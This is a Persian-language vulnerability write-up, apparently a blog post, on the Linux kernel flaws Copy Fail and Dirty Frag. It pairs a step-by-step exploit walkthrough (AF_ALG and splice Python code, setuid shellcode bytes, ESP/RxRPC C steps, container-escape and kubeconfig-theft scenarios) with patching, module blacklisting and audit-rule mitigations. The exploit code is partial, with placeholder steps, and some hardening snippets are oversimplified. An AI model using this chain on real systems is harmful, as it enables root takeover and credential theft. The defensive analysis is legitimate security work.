VulnCity

Copy Fail & Dirty Frag: وقتی یک splice() کافی است برای root شدن

نویسنده: یاسین عابدینی · دسته: Vulnerability · تاریخ انتشار: ۱۴۰۵/۲/۱۹

گزارش جامع آسیب‌پذیری‌های Dirty Frag و Copy Fail

1. مقدمه و اطلاعات کلی

در آوریل و می 2026، دو آسیب‌پذیری بحرانی در Kernel لینوکس کشف شدند که امکان افزایش سطح دسترسی محلی (Local Privilege Escalation) به root را فراهم می‌کنند. این آسیب‌پذیری‌ها به دلیل تأثیرگذاری گسترده بر میلیون‌ها سیستم لینوکسی در سراسر جهان، به سرعت به یکی از مهم‌ترین تهدیدات امنیتی سال 2026 تبدیل شدند.

مشخصات فنی

Copy Fail:

  • CVE: CVE-2026-31431
  • تاریخ انتشار: 29 آوریل 2026
  • امتیاز CVSS: 7.8 (High)
  • بردار حمله: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Dirty Frag:

  • CVE: CVE-2026-43284 (xfrm-ESP) + CVE-2026-43500 (RxRPC)
  • تاریخ انتشار: 7 می 2026
  • امتیاز CVSS: 7.8 (High)
  • بردار حمله: مشابه Copy Fail

نسخه‌های آسیب‌پذیر

Copy Fail:

  • Linux Kernel 4.14 تا 6.19.12
  • تمامی توزیع‌های اصلی: Ubuntu, Debian, RHEL, CentOS, Fedora, SUSE, Arch Linux
  • سیستم‌های آسیب‌پذیر از سال 2017

Dirty Frag:

  • Linux Kernel 4.x تا 6.x
  • مؤلفه xfrm-ESP: از 2017
  • مؤلفه RxRPC: از 2023

2. علل ریشه‌ای آسیب‌پذیری‌ها

Copy Fail: تاریخچه یک نقص منطقی

این آسیب‌پذیری نتیجه ترکیب سه تغییر جداگانه در طول یک دهه است:

مرحله اول (2011): افزودن الگوریتم authencesn

// الگوریتم رمزنگاری با احراز هویت
authencesn(hmac(sha256), cbc(aes))

این الگوریتم برای رمزنگاری و احراز هویت همزمان داده‌ها طراحی شد.

مرحله دوم (2015): پشتیبانی AEAD در AF_ALG

رابط AF_ALG (Application Layer Gateway) امکان استفاده از الگوریتم‌های رمزنگاری Kernel را از فضای کاربر فراهم کرد:

# استفاده از AEAD از فضای کاربر
socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)

مرحله سوم (2017): بهینه‌سازی معیوب in-place

این مرحله کلید اصلی آسیب‌پذیری است. توسعه‌دهندگان برای بهبود کارایی، تصمیم گرفتند داده‌ها را در همان مکان حافظه (in-place) رمزنگاری کنند:

// کد آسیب‌پذیر در algif_aead.c
if (ctx->enc) {
    // رمزنگاری in-place
    // مشکل: اگر داده از page cache باشد، مستقیماً تغییر می‌کند!
    aead_request_set_crypt(req, src, dst, len, iv);
}

مشکل اصلی: هنگامی که از splice() برای انتقال داده استفاده می‌شود، داده‌ها مستقیماً از page cache می‌آیند. بهینه‌سازی in-place باعث می‌شود رمزنگاری مستقیماً روی page cache انجام شود، نه روی یک کپی!

Dirty Frag: ترکیب دو نقص

CVE-2026-43284 (xfrm-ESP): نقص مدیریت حافظه

پروتکل ESP (Encapsulating Security Payload) برای رمزنگاری بسته‌های IP استفاده می‌شود. نقص در مدیریت fragmentation (تکه‌تکه کردن بسته‌ها) وجود دارد:

// کد آسیب‌پذیر در esp4.c / esp6.c
static int esp_output_tail(struct xfrm_state *x, struct sk_buff *skb) {
    // مشکل در مدیریت skb fragments
    // امکان نوشتن 4 بایت کنترل‌شده به page cache
    skb_frag_t *frag = &skb_shinfo(skb)->frags[i];
    // ...
}

مکانیزم: هنگام پردازش بسته‌های تکه‌تکه‌شده ESP، Kernel به اشتباه اجازه می‌دهد مهاجم 4 بایت دلخواه را در آدرس حافظه کنترل‌شده بنویسد.

CVE-2026-43500 (RxRPC): نقص namespace

پروتکل RxRPC (Remote Procedure Call) نقصی در مدیریت namespace دارد:

// کد آسیب‌پذیر در rxrpc
// امکان ایجاد namespace بدون دسترسی root
if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) {
    // بررسی ناکافی!
}

نقش در حمله: این نقص به مهاجم اجازه می‌دهد namespace شبکه ایجاد کند که برای بهره‌برداری از CVE-2026-43284 ضروری است.

3. مکانیزم دقیق حمله

مفهوم Page Cache

Page Cache یک لایه کش در Kernel لینوکس است که محتوای فایل‌ها را در RAM نگه می‌دارد:

┌─────────────┐
│ User Space  │
│   /bin/su   │
└──────┬──────┘
       │ read()
       ↓
┌─────────────┐
│ Page Cache  │ ← محتوای فایل در RAM
└──────┬──────┘
       │ (در صورت نیاز)
       ↓
┌─────────────┐
│    Disk     │
│   /bin/su   │
└─────────────┘

نکته کلیدی: هنگامی که یک فایل اجرایی (مثل /bin/su) اجرا می‌شود، Kernel ابتدا page cache را بررسی می‌کند. اگر محتوا در cache باشد، مستقیماً از RAM اجرا می‌شود بدون خواندن از دیسک!

مراحل حمله Copy Fail

مرحله 1: آماده‌سازی

import socket
import os

# 1. باز کردن فایل هدف (مثلاً /bin/su)
target_fd = os.open("/bin/su", os.O_RDONLY)

# 2. خواندن فایل برای بارگذاری در page cache
os.read(target_fd, 1024)  # محتوا وارد page cache می‌شود

مرحله 2: ایجاد socket AEAD

# 3. ایجاد AF_ALG socket
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

# 4. تنظیم کلید رمزنگاری
key = b'\x00' * 32  # کلید 256-bit
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)

مرحله 3: استفاده از splice() برای حمله

# 5. ایجاد pipe
pipe_r, pipe_w = os.pipe()

# 6. splice: انتقال داده از /bin/su به pipe
# این داده مستقیماً از page cache می‌آید!
os.splice(target_fd, None, pipe_w, None, 4096, 0)

# 7. splice: انتقال از pipe به AEAD socket
# بهینه‌سازی in-place باعث می‌شود رمزنگاری
# مستقیماً روی page cache انجام شود!
op_fd = sock.accept()[0]
os.splice(pipe_r, None, op_fd, None, 4096, 0)

مرحله 4: تزریق Shellcode

# 8. آماده‌سازی shellcode
shellcode = b'\x48\x31\xff'  # xor rdi, rdi (setuid(0))
shellcode += b'\x48\x31\xc0'  # xor rax, rax
shellcode += b'\xb0\x69'      # mov al, 0x69 (syscall setuid)
shellcode += b'\x0f\x05'      # syscall
# ... ادامه shellcode برای اجرای /bin/sh

# 9. نوشتن shellcode به offset مشخص
# این عملیات page cache را تغییر می‌دهد!

مرحله 5: اجرا

# 10. اجرای /bin/su
# Kernel محتوا را از page cache تغییر‌یافته می‌خواند
# shellcode با دسترسی root اجرا می‌شود!
os.execve("/bin/su", ["/bin/su"], {})

مراحل حمله Dirty Frag

مرحله 1: بهره‌برداری از RxRPC

// 1. ایجاد namespace شبکه
int ns_fd = unshare(CLONE_NEWNET);

// 2. ایجاد RxRPC socket
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);

مرحله 2: بهره‌برداری از xfrm-ESP

// 3. تنظیم ESP policy
struct xfrm_userpolicy_info policy;
policy.action = XFRM_POLICY_ALLOW;
// ...

// 4. ارسال بسته‌های fragmented
// این باعث trigger شدن نقص می‌شود
send_fragmented_esp_packet();

// 5. نوشتن 4 بایت کنترل‌شده به page cache
// آدرس هدف: offset مشخص در /bin/su
write_4_bytes_to_page_cache(target_offset, shellcode_bytes);

مرحله 3: اجرا

// 6. اجرای /bin/su با shellcode تزریق‌شده
execve("/bin/su", NULL, NULL);
// → root shell!

4. تفاوت‌های کلیدی

ویژگی Copy Fail Dirty Frag
Reliability 100% قطعی (deterministic) بسیار بالا (highly reliable)
Race Condition ندارد ندارد
پیچیدگی کد 732 بایت (Python) چند هزار خط C
نیاز به Namespace خیر بله (RxRPC)
تعداد CVE 1 2 (زنجیره‌ای)
ماژول‌های درگیر algif_aead esp4, esp6, rxrpc
سال شروع آسیب‌پذیری 2017 2017 (ESP), 2023 (RxRPC)

5. سناریوهای حمله واقعی

سناریو 1: فرار از Container

# داخل Docker container
attacker@container:~$ id
uid=1000(attacker) gid=1000(attacker)

attacker@container:~$ python3 copy_fail_exploit.py
[+] Exploiting Copy Fail...
[+] Page cache modified
[+] Executing /bin/su...

root@container:~# id
uid=0(root) gid=0(root)

# حالا می‌توان از container فرار کرد
root@container:~# mount /dev/sda1 /mnt
root@container:~# chroot /mnt
root@host:~# # دسترسی کامل به host!

سناریو 2: Compromise CI/CD Pipeline

# .gitlab-ci.yml
build:
  script:
    - docker build -t myapp .
    - docker run myapp pytest  # مهاجم exploit را در test inject می‌کند
    # → دسترسی root به GitLab Runner
    # → دسترسی به secrets، SSH keys، AWS credentials

سناریو 3: حمله به Kubernetes Cluster

# داخل Pod
attacker@pod:~$ python3 dirty_frag_exploit.py
[+] Root access achieved

# دسترسی به kubelet credentials
root@pod:~# cat /var/lib/kubelet/kubeconfig
# → کنترل کل cluster!

6. تأثیرات امنیتی

تأثیرات فنی

  • ✅ دسترسی کامل root بدون نیاز به رمز عبور
  • ✅ فرار از Container (Docker, LXC, Podman)
  • ✅ دور زدن SELinux/AppArmor (در برخی پیکربندی‌ها)
  • ✅ دسترسی به تمام فایل‌ها شامل /etc/shadow, SSH keys
  • ✅ نصب Rootkit و Backdoor پایدار

7. راهکارهای کاهش ریسک

1. به‌روزرسانی Kernel

# Ubuntu/Debian
sudo apt update
sudo apt install linux-image-generic
sudo reboot

# RHEL/CentOS
sudo yum update kernel
sudo reboot

# Arch Linux
sudo pacman -Syu linux
sudo reboot

2. غیرفعال‌سازی ماژول‌های آسیب‌پذیر

# Copy Fail
sudo modprobe -r algif_aead
echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist.conf

# Dirty Frag
sudo modprobe -r esp4 esp6 rxrpc
echo "blacklist esp4" | sudo tee -a /etc/modprobe.d/blacklist.conf
echo "blacklist esp6" | sudo tee -a /etc/modprobe.d/blacklist.conf
echo "blacklist rxrpc" | sudo tee -a /etc/modprobe.d/blacklist.conf

3. پاک‌سازی Page Cache

# پاک کردن page cache (بدون تأثیر بر داده‌ها)
sudo sync
echo 3 | sudo tee /proc/sys/vm/drop_caches

4. محدودسازی SUID Binaries

# لیست تمام فایل‌های SUID
find / -perm -4000 -type f 2>/dev/null

# حذف SUID از فایل‌های غیرضروری
sudo chmod u-s /usr/bin/chsh
sudo chmod u-s /usr/bin/chfn
# (فقط برای فایل‌هایی که واقعاً نیاز ندارند)

5. HardeningContainer

# Docker Compose
services:
  app:
    security_opt:
      - no-new-privileges:true  # جلوگیری از SUID
      - seccomp=seccomp-profile.json  # محدودسازی syscalls
    cap_drop:
      - ALL
    cap_add:
      - NET_BIND_SERVICE  # فقط capabilities لازم
// seccomp-profile.json
{
  "defaultAction": "SCMP_ACT_ERRNO",
  "syscalls": [
    {
      "names": ["read", "write", "open", "close"],
      "action": "SCMP_ACT_ALLOW"
    }
    // فقط syscalls ضروری
  ]
}

6. پیاده‌سازی AppArmor/SELinux

# AppArmor profile برای /bin/su
cat > /etc/apparmor.d/bin.su << 'EOF'
#include <tunables/global>

/bin/su {
  #include <abstractions/base>
  #include <abstractions/authentication>
  
  capability setuid,
  capability setgid,
  
  /bin/su mr,
  /etc/passwd r,
  /etc/shadow r,
  
  # جلوگیری از نوشتن به page cache
  deny /proc/*/mem w,
  deny /dev/mem w,
}
EOF

sudo apparmor_parser -r /etc/apparmor.d/bin.su

7. Monitoring و Detection

# نصب auditd
sudo apt install auditd

# قوانین audit برای تشخیص حمله
sudo auditctl -w /bin/su -p x -k suid_exec
sudo auditctl -w /usr/bin/sudo -p x -k suid_exec
sudo auditctl -a always,exit -F arch=b64 -S splice -k splice_syscall

# بررسی لاگ‌ها
sudo ausearch -k suid_exec
sudo ausearch -k splice_syscall

8. Runtime Detection

# اسکریپت تشخیص تغییرات page cache
import hashlib
import time

def monitor_suid_binaries():
    suid_files = ['/bin/su', '/usr/bin/sudo', '/usr/bin/passwd']
    
    # محاسبه hash اولیه
    hashes = {}
    for f in suid_files:
        with open(f, 'rb') as fp:
            hashes[f] = hashlib.sha256(fp.read()).hexdigest()
    
    while True:
        time.sleep(60)  # هر 1 دقیقه
        
        for f in suid_files:
            # خواندن از page cache
            with open(f, 'rb') as fp:
                current_hash = hashlib.sha256(fp.read()).hexdigest()
            
            if current_hash != hashes[f]:
                print(f"[!] ALERT: {f} modified in page cache!")
                # ارسال هشدار

8. جمع‌بندی

Copy Fail و Dirty Frag دو آسیب‌پذیری بحرانی هستند که:

  • Reliability: هر دو با موفقیت بالا قابل بهره‌برداری هستند
  • تأثیر گسترده: میلیون‌ها سیستم لینوکسی در معرض خطر
  • سادگی نسبی: به‌ویژه Copy Fail با اسکریپت کوچک قابل اجراست
  • تأثیر بلندمدت: سیستم‌های قدیمی برای سال‌ها آسیب‌پذیر باقی می‌مانند

توصیه نهایی: به‌روزرسانی فوری Kernel و پیاده‌سازی لایه‌های امنیتی چندگانه (Defense in Depth) ضروری است.

9. منابع